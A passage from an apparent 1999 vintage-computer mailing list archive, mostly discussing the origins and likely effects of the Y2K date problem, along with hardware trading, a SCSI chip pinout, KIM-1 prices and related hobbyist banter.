industry, who 30 years ago would have thought that their programs would still be operating? Its seemed stupid and silly to think they would. The driving factor was the fact that 1K 30 years ago was like 50gigs today (actually, I don't think a comparison on memory even applies anymore today...memory is almost an inifinte commodity these days). Suffice it to say if you could save bytes then you did, and 30 years is like a long time (in 30 years I'll be a middle-aged dufas in a bad (19)90's suit chasing 20-something year old women). What I wonder is why people didn't just store the date as decimal in those two bytes. You can go up to the year 65535 that way. I'm positive there were good reasons for not doing that as well. Its easy for us to look back and scoff at our forebearer programmers. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From allisonp at world.std.com Mon Jan 4 18:42:26 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff Message-ID: <199901050042.AA03200@world.std.com> Message-ID: <002501be3843$d12b6940$75f438cb@a.davie> > What I wonder is why people didn't just store the date as decimal in those > two bytes. You can go up to the year 65535 that way. I'm positive there > were good reasons for not doing that as well. Its easy for us to look > back and scoff at our forebearer programmers. I am not knowledegable in this area, but I would suggest that 2 BCD digits (0-9) encoded in a single byte would possibly be the reason. 1 byte is better than 2 :) A From cmcmanis at freegate.com Mon Jan 4 18:37:59 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: <199901050000.AA01095@world.std.com> Message-ID: <4.1.19990104162553.00a5fd90@mailhost.hq.freegate.com> I attended a talk by a Y2K consultant (Bruce Webster), and what he had to say was pretty interesting. Most of "our" (ie classic) computers are pretty much invulnerable to the bug, but they aren't invulnerable to lawyers. When asked if planes would fall out of the sky on 1/1/00 his answer? "Of course not, there won't be any passenger planes FLYING on 1/1/00." His reasoning is as follows: 1) Everyone has "known" about the Y2K issue with computers "forever". 2) If a plane _were_ to fall out of the sky and it _was_ due to a Y2K problem, the liability would be huge. 3) The insurance carriers for the airlines have already issued notice to the airlines that they won't provide liability coverage for Y2K problems. 4) The airline lawyers will not allow an airplane to fly if it doesn't have liability coverage. 5) No airline will fly a passenger plane. QED. So, they are faced with the choice, cancel one day of flights or face potentially catastrophic losses. For what? One day of revenue? No way! They will fly cargo and if none of them fall out of the sky then they will resume passenger services on the second. However, as the "Y2K" designee for FreeGate I've had the opportunity to go through the process for certification and its pretty interesting in the sense that you have to ask a lot of questions like, "If I find a bug in the firmware of my T1 communication card that I have to fix immediately, is my node-locked cross compiler product going to work 1/1/00 and beyond so that I can actually compile the fix and deliver it?" Now the embedded processor doesn't care at all what time or date it is, but the license for the development environment sure does! (my answer is I don't care, I'll leave the date on my development machine turned back if that is a problem, even though it is "forbidden" by the license agreement...) My take on it is that there will be unpredictable "events" that occur as a result of computers interacting with the date, however we, as a planet, are so massively interlinked these days it will be impossible to know why these things happen. I'm keeping a "millenium journal" for my kids (and presumably grandkids) that I am writing my observations in about the approach, and presumably passage of, the 1/1/00 date. --Chuck From dburrows at netpath.net Mon Jan 4 18:26:43 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:39:47 2005 Subject: y2k stuff Message-ID: <009e01be3846$09130460$bf281bce@p166> >What boggles the mind is that this is a problem at all. It seems hard to >believe (in retrospect) that people really did deliberately build software >with only 2 digit years. I know it saved a few bytes, and yes, I remember >when a byte of memory was a significant amount, but still. How did standard >programming practice come to be so short sighted as to assume that software >infrastructure would be thrown out and replaced on a regular basis? >-- >Jim Strickland What about OS8 (PDP8) that had a 3 bit year field. It has a Y2K issue every 8 years. Dan From yowza at yowza.com Mon Jan 4 19:02:56 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: <4.1.19990104162553.00a5fd90@mailhost.hq.freegate.com> Message-ID: On Mon, 4 Jan 1999, Chuck McManis wrote: > 1) Everyone has "known" about the Y2K issue with computers "forever". > 2) If a plane _were_ to fall out of the sky and it _was_ due to a > Y2K problem, the liability would be huge. This is my biggest fear of Y2K. All of my programming life, software developers have been able to get away with shipping buggy software with virtually no liability. Now companies are already being sued for this particular bug by their customers. A new breed of lawyer is being hatched: those who are trained to sue for software defects. Prediction: the year 2000 will be the first year software malpractice insurance is offered. -- Doug From donm at cts.com Mon Jan 4 19:12:33 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: <4.1.19990104162553.00a5fd90@mailhost.hq.freegate.com> Message-ID: On Mon, 4 Jan 1999, Chuck McManis wrote: > I attended a talk by a Y2K consultant (Bruce Webster), and what he had to > say was pretty interesting. Most of "our" (ie classic) computers are pretty > much invulnerable to the bug, but they aren't invulnerable to lawyers. When > asked if planes would fall out of the sky on 1/1/00 his answer? "Of course > not, there won't be any passenger planes FLYING on 1/1/00." His reasoning > is as follows: Shakespeare was right!!! - don **** snip **** From netcafe at pirie.mtx.net.au Mon Jan 4 19:31:10 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 Message-ID: <01be384b$135087e0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Doug Yowza To: Discussion re-collecting of classic computers Date: Tuesday, 5 January 1999 12:36 Subject: Re: Why you won't fly on 1/1/00 >All of my programming life, software developers have been >able to get away with shipping buggy software with >virtually no liability. Now companies are already being sued for this >particular bug by their customers. Having read the so called "warranty" on the Windows (and other) software packages, Microsoft is in big trouble if that is the case. It amazes me how they have gotten away with selling stuff that is essentially guaranteed only to take up disk space. >A new breed of lawyer is being hatched: >those who are trained to sue for software defects. They are going to be busy boys/girls. And get rich. >Prediction: the year 2000 will be the first year software malpractice >insurance is offered. In the USA, I wouldn't be at all surprised. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From kurtkilgor at bigfoot.com Mon Jan 4 19:29:17 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff Message-ID: <199901050134.RAA25867@geocities.com> > Is it? My current credit card has an expiry date after the end of this > year and I've never had any problems with it. I read that it has happened in one of those panicky articles. I guess it was fixed the day after someone became aware of the problem. > Sure. Nobody is saying that you shouldn't check things. Just as I don't > expect a power cut at the end of this year, but I'll have a working torch > (flashlight) in the house. I always do. Power failures can occur. I just > don't expect the date per se to be a particularly likely cause of one. I think that 'maintenance errors' could potentially occur in power plants, and what is more likely, some will be shut down just in case. From svs at ropnet.ru Mon Jan 4 19:40:17 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:39:47 2005 Subject: Vintage SCSI chips In-Reply-To: ; from Tony Duell on Mon, Jan 04, 1999 at 06:48:04PM +0000 References: <19990104072955.12349@firepower> Message-ID: <19990105044017.23965@firepower> On Mon, Jan 04, 1999 at 06:48:04PM +0000, Tony Duell wrote: > Could you please post (or e-mail me) the pinout of the 5386 as either an > ascii-art diagram of the chip or as a list of pins with their functions > (the latter is probably easier for you unless you already have the diagram). I hope 5385 and 5386 are compatible enough -- their register maps look the same (and that's what interests me -- it looks like I will be writing a driver for this chip.) 5385 +--------\/--------+ 1 -|D2 Vcc|- 48 2 -|D1 D3|- 47 3 -|D0 D4|- 46 4 -|RST D5|- 45 5 -|ATN D6|- 44 6 -|IGS D7|- 43 7 -|I/O BSYOUT|- 42 8 -|C/D SD7|- 41 9 -|MSG SD6|- 40 10 -|ACK SD5|- 39 11 -|REQ SD4|- 38 12 -|/ID2 SD3|- 37 13 -|/ID1 SD2|- 36 14 -|/ID0 SD1|- 35 15 -|ARB SD0|- 34 16 -|CLK SDP|- 33 17 -|BSYIN SELOUT|- 32 18 -|SELIN /RD|- 31 19 -|INT /WD|- 30 20 -|/SBEN DREQ|- 29 21 -|/CS TGS|- 28 22 -|A0 /DACK|- 27 23 -|A1 A3|- 26 24 -|gnd A2|- 25 +------------------+ -- Sergey Svishchev -- svs{at}ropnet{dot}ru From healyzh at aracnet.com Mon Jan 4 20:00:44 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:47 2005 Subject: TK50Z-GA In-Reply-To: <004d01be3838$f7f75c60$bf281bce@p166> Message-ID: Now that I've dug up the last message to find out what this was about :^) the ROM on the board I've got is labeled (C) DEC90 LM9044 453E6 BTW, did the SCSI chip, and the chip next to it originally have a bubbly look, or was that just after the board was fried? Can't tell if it's actually 'bubbly', or if something has splattered the chip. Zane >Any luck with Zane on the board? >Dan >-----Original Message----- >From: Bruce Lane >To: Discussion re-collecting of classic computers > >Date: Saturday, January 02, 1999 6:30 PM >Subject: WTD: TK50Z-GA > > >> OK -- I'm making progress. Thanks to John Wilson at Dbit, I found out >>that the TK50's I'm using may not actually be "standard" SCSI, but a >>bastardized implementation used only for VS2000's. >> >> With that in mind, if anyone's got a TK50Z-GA in working condition >>(NOT the -FA, which is what I have) that they feel like parting with, I >>would be happy to buy it. >> >> Thanks in advance. >> >> >>-=-=-=-=-=-=-=-=- >>Bruce Lane, Owner and head honcho, >>Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com >>Web: http://www.bluefeathertech.com >>"...No matter how we may wish otherwise, our science can only describe an >object, >>event, or living thing in our own human terms. It cannot possibly define >any of them..." >> | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From healyzh at aracnet.com Mon Jan 4 20:04:32 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: <01be384b$135087e0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: >Having read the so called "warranty" on the Windows (and other) >software packages, Microsoft is in big trouble if that is the case. >It amazes me how they have gotten away with selling stuff that >is essentially guaranteed only to take up disk space. Would that be the one that says don't use in life threatening situations? I can't remember if I saw that in the fine print on Microsoft package or Java. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From eric at brouhaha.com Mon Jan 4 20:58:53 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: y2k stuff In-Reply-To: <199901050025.RAA14288@calico.litterbox.com> (message from Jim Strickland on Mon, 4 Jan 1999 17:25:01 -0700 (MST)) References: <199901050025.RAA14288@calico.litterbox.com> Message-ID: <19990105025853.3742.qmail@brouhaha.com> Jim Strickland wrote: > What boggles the mind is that this is a problem at all. It seems hard to > believe (in retrospect) that people really did deliberately build software > with only 2 digit years. I know it saved a few bytes, and yes, I remember > when a byte of memory was a significant amount, but still. Yes, but do you remember back when 80 characters was the total amount you had for an entire "database" record? That's the origin of the problem. And although I don't know of any software from those days (pre-1960) still running, there are many systems that evolved from those origins. Once databases started being kept on disk drives, saving two bytes for each date may not have sounded like much, but it literally did save money. It takes fewer disk packs (and perhaps fewer drives) to store 92-byte records than 94-byte records. I don't know how many decisions were made on that basis, but you can't realistically ignore it. Of course, it would still save money to do that today, but instead of saving about two cents per date (IBM RAMAC, 1956) it is now one cent per million dates (Quantum FB312700A 12.7G drive for $249 from Dirt Cheap Drives). Eric From eric at brouhaha.com Mon Jan 4 21:00:39 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: y2k stuff In-Reply-To: <199901050025.RAA14288@calico.litterbox.com> (message from Jim Strickland on Mon, 4 Jan 1999 17:25:01 -0700 (MST)) References: <199901050025.RAA14288@calico.litterbox.com> Message-ID: <19990105030039.3751.qmail@brouhaha.com> Jim Strickland wrote: > It seems hard to believe (in retrospect) that people really did > deliberately build software with only 2 digit years. Oh, and one other reason: people were accustomed to only writing two digit years when they dated things. It was natural to enter things into computers in the same way. And it was natural to store the data in the same format (or at least a similar format) to what the user entered. Eric From eric at brouhaha.com Mon Jan 4 21:03:16 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: [OT: English usage] Re: Y2K stuff In-Reply-To: <199901050033.RAA14330@calico.litterbox.com> (message from Jim Strickland on Mon, 4 Jan 1999 17:33:58 -0700 (MST)) References: <199901050033.RAA14330@calico.litterbox.com> Message-ID: <19990105030316.3771.qmail@brouhaha.com> > Companies aren't going to sit around idle any longer than they have to, > because this is cash they're loosing. Well, not quite. The problem will be customers NOT loosing the cash, which will result in the companies losing it. Sorry, that's one of my pet peeves. From eric at brouhaha.com Mon Jan 4 21:06:33 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: <4.1.19990104162553.00a5fd90@mailhost.hq.freegate.com> (message from Chuck McManis on Mon, 04 Jan 1999 16:37:59 -0800) References: <4.1.19990104162553.00a5fd90@mailhost.hq.freegate.com> Message-ID: <19990105030633.3801.qmail@brouhaha.com> Chuck McManis wrote: > Now the embedded processor > doesn't care at all what time or date it is, but the license for the > development environment sure does! (my answer is I don't care, I'll leave > the date on my development machine turned back if that is a problem, even > though it is "forbidden" by the license agreement...) Oooh, you naughty person! I'm going to report you! Now which specific tools are those? :-) Yet another reason to prefer open-source tools whenever possible. Eric From eric at brouhaha.com Mon Jan 4 21:08:44 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: <199901050134.RAA25867@geocities.com> (kurtkilgor@bigfoot.com) References: <199901050134.RAA25867@geocities.com> Message-ID: <19990105030844.3816.qmail@brouhaha.com> > > Is it? My current credit card has an expiry date after the end of this > > year and I've never had any problems with it. > > I read that it has happened in one of those panicky articles. I guess it > was fixed the day after someone became aware of the problem. It's not a problem that CAN be fixed the next day. Sure, some of the problem is in big central computers, but some of it is buried in the merchant terminals. Some of those terminals were OK, some have been replaced, and some are using workarounds. Eric From eric at brouhaha.com Mon Jan 4 21:13:40 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: (healyzh@aracnet.com) References: Message-ID: <19990105031340.3873.qmail@brouhaha.com> > Would that be the one that says don't use in life threatening situations? > I can't remember if I saw that in the fine print on Microsoft package or > Java. I think such disclaimers are usually against using products in safety-critical or life-critical systems. Prohibiting use in life-threatening situations would presumably mean that you couldn't use it in a weapon. From allisonp at world.std.com Mon Jan 4 21:29:48 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:47 2005 Subject: Bulbs in parallel Message-ID: <199901050329.AA13611@world.std.com> Or, how about a one bit readable, writable memory circuit consisting of <> one neon bulb, two resistors, and a capacitor? <> How about a ring counter with no ICs, no transistors? < <> times per year). Last I looked I've never seen an airport move. My <> Cessna will continue to fly unimpeded < Message-ID: <36918BFC.A6AD4BF3@cnct.com> Allison J Parent wrote: > Rogue, is a good example of how code went from ASM to C, PASCAL, or whatever > and grew huge in the process. Matt Arnold wrote Rogue in C from day one. It started as an exercise in in the Curses/vi interface and grew. Rogue (and several of its descendents, like Hack, Omega and Nethack) are actually good programs for testing compiler efficiency -- they're naturally invalid at showing off processor speed, they're not arcade games. As far as I know, Rogue was never done in anything except C, though Epyx might have used some assembly bits in their commercial products. ADVENT has been done in Fortran, BASIC, Pascal, Assembly X dozen, and probably Ada by this point -- it's probably been done in SQL. That might be what you thought of in a bloating program, CPU and language. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From mcquiggi at sfu.ca Mon Jan 4 21:45:29 1999 From: mcquiggi at sfu.ca (Kevin McQuiggin) Date: Sun Feb 27 18:39:48 2005 Subject: Bulbs in parallel In-Reply-To: from "Doug Coward" at Jan 4, 99 01:18:45 pm Message-ID: <199901050345.TAA08113@fraser.sfu.ca> Hi: > Or, how about a one bit readable, writable memory circuit consisting of > one neon bulb, two resistors, and a capacitor? > - snip - Or an entire digital computer out of ropes and pulleys? See "The Apraphulian Wonder" in "The Magic Machine" by A.K. Dewdney. Very entertaining book. Kevin -- Kevin McQuiggin VE7ZD mcquiggi@sfu.ca From adavie at mad.scientist.com Mon Jan 4 22:11:28 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:48 2005 Subject: Bulbs in parallel In-Reply-To: <199901050345.TAA08113@fraser.sfu.ca> Message-ID: <000001be3861$77a46c00$9ff438cb@a.davie> > Or an entire digital computer out of ropes and pulleys? > > See "The Apraphulian Wonder" in "The Magic Machine" by A.K. Dewdney. Very > entertaining book. and via URL... http://www.owlnet.rice.edu/~laing/apraphul.html From yowza at yowza.com Mon Jan 4 22:16:02 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:48 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ In-Reply-To: <36918BFC.A6AD4BF3@cnct.com> Message-ID: On Mon, 4 Jan 1999, Ward Donald Griffiths III wrote: > > Rogue, is a good example of how code went from ASM to C, PASCAL, or whatever > > and grew huge in the process. > > Matt Arnold wrote Rogue in C from day one. It started as an exercise > in in the Curses/vi interface and grew. I thought it was Ken Arnold who wrote Rogue. (And Bill Joy wrote vi, FWIW.) -- Doug From mbg at world.std.com Mon Jan 4 22:48:32 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff Message-ID: <199901050448.AA03155@world.std.com> >What boggles the mind is that this is a problem at all. It seems hard to >believe (in retrospect) that people really did deliberately build >software with only 2 digit years. I know it saved a few bytes, and yes, >I remember when a byte of memory was a significant amount, but still. >How did standard programming practice come to be so short sighted as to >assume that software infrastructure would be thrown out and replaced on >a regular basis? The problem is that it isn't just one problem... it is a series of problems, some of which have already been addressed over the years. It isn't just that software only handled two-digit years. That is, at best, simplistic, and at worst, just plain wrong. The fact is that there are numerous levels to the problem. Let me enumerate some of them... o Boot code - Does the hardware have a calender/clock? How does it store the date? How does one set the date? How does it report the date? An example of this is the 11/93 o Adapters/controllers - Do they have an internal calendar/clock? How do they store the date? How is the date set? How is the date reported? An example of this is are the RF series DSSI disks... they seem to have a built in clock and can report dates/times and even when the device was last powered on. Also, some devices will report date information, but only once it is set by the host operating system - an example is the DELQA, which reports date/time in a MOP System ID packet. o The operating system - how does it store the date? How does it accept the date? How does it report the date? RT-11, for example, stored years in 5-bit fields and the base year was 1972... which would work to 2003, but there were other problems. This was upgraded to 7-bits worth of info, which increased the range from 1972 to 2099, but there were still problems with other parts of the system -- Mentec's V5.7 addresses this. What about pdp-8s? They have been through the end of their epoch several times over... What about tops-10? What about Unix, which breaks in 2038... o The on-disk directory structure - How is the date encoded? o Applications - Are they concerned with the date? Do commands allow date specifications? In what form? How is date info reported? o *DATA* - what about all those data files which have been recorded over the years? What form was date stored? And I'm sure others can come up with more levels... these were just those which I could come up in 5 minutes of thinking... Keep in mind that when many institutions report they are working on Y2k issues... it is probably only billing. What about hospitals and the embedded controls in, for example, patient-controlled analgesia? There are going to be more and more failures as we get closer. Last year, there was a report that an insurance company which normally issued 3-year policies could only do two-year. If they haven't fixed the problem, they're probably down to one year now... Megan Gentry Former RT-11 Developer (Not speaking for Compaq) +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From mbg at world.std.com Mon Jan 4 22:51:00 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:39:48 2005 Subject: Y2K stuff Message-ID: <199901050451.AA05063@world.std.com> >This is exactly the stuff I refer to. Whay would an elevator care what >year it is? Some do days of the week but their clock is not date but >_day_ so that say on sunday you need a pass key to get in a building that >would be open during the week. That as far as they go, very >minimalistic. It may only care about date, but depending on how the application was written, it may calculate the day of week based on the *date*, or it could simply count days 1-7 (rinse) and repeat. If the latter, no problem... if the former, then the programming will drift over the years, only getting it right again 28 years later... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From jim at calico.litterbox.com Mon Jan 4 23:02:15 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:48 2005 Subject: hard disk & controller from an AT. Message-ID: <199901050502.WAA15426@calico.litterbox.com> Hey all. I was just looking through my junk collection with the idea of organizing it a bit, and I happened across these chunks of a PC. 1 western digital WD1003-WA2 16 bit mfm hard/floppy controller. 1 seagate ST4053 5.25 inch fullheight hard disk. 45 meg mfm. from when I looked it up. Both can be yours for the price of shipping. Note that the drive weighs about 10-15 pounds so do factor in shipping from Colorado. As to whether they work, in short, I have no idea. I'm told the PC they came out of was functional when I got it, but I used its case for a pentium box I put together for a friend and stripped and threw out the AT motherboard that was in it. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From marvin at rain.org Mon Jan 4 23:12:39 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer References: <199901050451.AA05063@world.std.com> Message-ID: <36919F47.A4A6642F@rain.org> Anyone have any idea what the Kim-1 computers are selling for? An acquaintance of mine died and his wife told me that he had one with Serial Number 1. I will be meeting with her to take a look at what he left behind. Unfortunately, it sounds like quite a bit of stuff has already been thrown away, but I will be going over tomorrow to do "dumpster diving" through the recycling bins she has. I am really going to be popular with my wife :)! From roblwill at usaor.net Tue Jan 5 02:29:46 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff Message-ID: <01be3885$8d60f4e0$4a8ea6d1@the-general> I found this in a newsgroup. No telling how much of an affect it will actually have on computers, but something else to consider when talking about Y2k stuff... >>> Every 11 years the sun sends storms of cosmic rays which disrupt all sorts of electrical devices. The last was in 1989, and they are due again in 2000. 1978 was also a year effected by mega cosmic rays and was coincidentally the first year of Expansion Interface manufacture. Could the rays have been the source of the EIs poor performance? I have a 1978 EI and its never missed a beat, but I didn't own it in '78. Its all buffered, probably against cosmic onslaughts. >>> -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From nerdware at laidbak.com Mon Jan 4 23:52:29 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: <36919F47.A4A6642F@rain.org> Message-ID: <199901050549.XAA30207@garcon.laidbak.com> Date sent: Mon, 04 Jan 1999 21:12:39 -0800 Send reply to: classiccmp@u.washington.edu From: Marvin To: "Discussion re-collecting of classic computers" Subject: Kim-1 Computer > Anyone have any idea what the Kim-1 computers are selling for? An > acquaintance of mine died and his wife told me that he had one with Serial > Number 1. I will be meeting with her to take a look at what he left > behind. Unfortunately, it sounds like quite a bit of stuff has already been > thrown away, but I will be going over tomorrow to do "dumpster diving" > through the recycling bins she has. I am really going to be popular with my > wife :)! I haven't seen one sell for a while. I have two, and both were donated to me. One was used by one of the co-authors of "The First Book of KIM". He would first try the program listings and then he would hook it up to a friend's Selectric to print the listings that appeared in the book. Quick 'n' dirty typesetting....... Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From gram at cnct.com Tue Jan 5 01:56:29 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:48 2005 Subject: selling a blank floppy disk References: Message-ID: <3691C5AD.6BFAA208@cnct.com> Tony Duell wrote: > > > > > > And if I hear one more person who claims the Millennium is the 31/12/1999 > > > > > - 01/01/2000 (as opposed to the correct date of 1 year later), I am > > > liable to get out a very large LART.. > > > > Whoever said anything about it being the Millennium? It's just the year > > Nobody (AFAIK) on this list. But just about everybody else in the UK has > this mistaken idea. Darn it, even the official millennium countdown clock > is going to get to 0 a year too early! > > > 2000, and I think that's important enough! > > What's so interesting about 2000? It's not a power of 2 (:-))... Damned straight. 2048 -- now _that's_ important. (2x10^3 years after a derivative myth started -- who cares?). Ten years after we know the Unix 2038 "bug" has been fixed, that'll mean something Y2K is _not_ a "bug"! How often does anybody you know sign a contract (by hand) with a 4-digit year field? Or a cheque? Or a letter? It's nothing new, I've got letters by ancestors from the 19th century that were signed with 2-digit year fields. It's just that this time we've got several generations of public school graduates (that's the U.S. version of public school -- in the U.K. government schools are called something else as I recall) that can't count their change if they pay a dollar for a fifty cent candy bar. Many of these "graduates" hold public office, many others take polls for them and tally the results. I'm starting to think the Y2k doom-sayers are too optimistic. Purely secular myself, by the way -- if the "Rapture" happened any time I'm alive, the world would be a better place afterward, especially since I'm not a christian, so I'd have a chance to enjoy myself. (Forget the argument when the 2nd millennium starts -- yes, there was no Year Zero, but the majority of voters are impressed by the row of zeroes in the coming year number -- democratically, we lose. Let them celebrate their millennium, nick the booze from their parties, then we can have a proper party a year later. Inviting those who can count.) -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From dastar at ncal.verio.com Tue Jan 5 02:33:25 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: <36919F47.A4A6642F@rain.org> Message-ID: On Mon, 4 Jan 1999, Marvin wrote: > Anyone have any idea what the Kim-1 computers are selling for? An > acquaintance of mine died and his wife told me that he had one with Serial > Number 1. I will be meeting with her to take a look at what he left > behind. Unfortunately, it sounds like quite a bit of stuff has already been > thrown away, but I will be going over tomorrow to do "dumpster diving" > through the recycling bins she has. I am really going to be popular with my > wife :)! Surprisingly I couldn't locate any past auctions on ebay for a KIM-1. But I'd say a reasonable price would be $250 since you subscribe to the ebay pricing dynamic. Otherwise, $50 - $100 tops (if it is indeed serial #1, which would be highly interesting). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Tue Jan 5 02:35:33 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <01be3885$8d60f4e0$4a8ea6d1@the-general> Message-ID: On Tue, 5 Jan 1999, Jason Willgruber wrote: > >>> > Every 11 years the sun sends storms of cosmic rays which disrupt all sorts > of electrical devices. The last was in 1989, and they are due again in > 2000. 1978 was also a year effected by mega cosmic rays and was > coincidentally the first year of Expansion Interface manufacture. Could > the rays have been the source of the EIs poor performance? I have a 1978 EI > and its never missed a beat, but I didn't own it in '78. Its all buffered, > probably against cosmic onslaughts. > >>> As Bill Gates would say, that's the stupidest thing I've ever heard of. If cosmic rays were to blame for the EIs suckiness then every computer back then would have had similar problems. No, you can't blame Radio Shack's sorry-assed engineering on cosmic rays, but nice try. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Tue Jan 5 02:40:36 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:48 2005 Subject: selling a blank floppy disk In-Reply-To: <3691C5AD.6BFAA208@cnct.com> Message-ID: On Tue, 5 Jan 1999, Ward Donald Griffiths III wrote: > Y2K is _not_ a "bug"! How often does anybody you know sign a contract > (by hand) with a 4-digit year field? Or a cheque? Or a letter? It's But, what will be do in 2000? Write our checks 01/01/00? It just doesn't look right. I'm already training myself to write full 4-digit years, but my new Psion Series 5 has other plans. I keep my mileage log in a spreadsheet on it, but when I tried to enter in my first entry (01/01/1999) the Psion automatically truncated it to 01/01/99. Stupid thing. I'm sure there's an option I need to go search for to make it do what I want. Maybe I'm going thru a whole lot of trouble for nothing. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From go at ao.com Tue Jan 5 03:43:22 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:39:48 2005 Subject: Y2K stuff In-Reply-To: <199901050329.AA13702@world.std.com> Message-ID: <4.1.19990105013833.03444220@office.ao.com> At 10:29 PM 1/4/99 -0500, you wrote: .snip. > >Correct. NONE of the autopilot systems are date based/biased. Also the >general design of aircraft systems is one of fail soft. Fail soft is >simple fail to the least dangerous mode or disengage for manual override. >So in the case of GPS with databases (maps) they fail such that you can >only use the map for manual reference or emergency modes but the nav >functions (whch way and all) are unaffected. Actually it's less a problem >than that. Likely the ticketing systems or ground baggage handling are >more suspect as 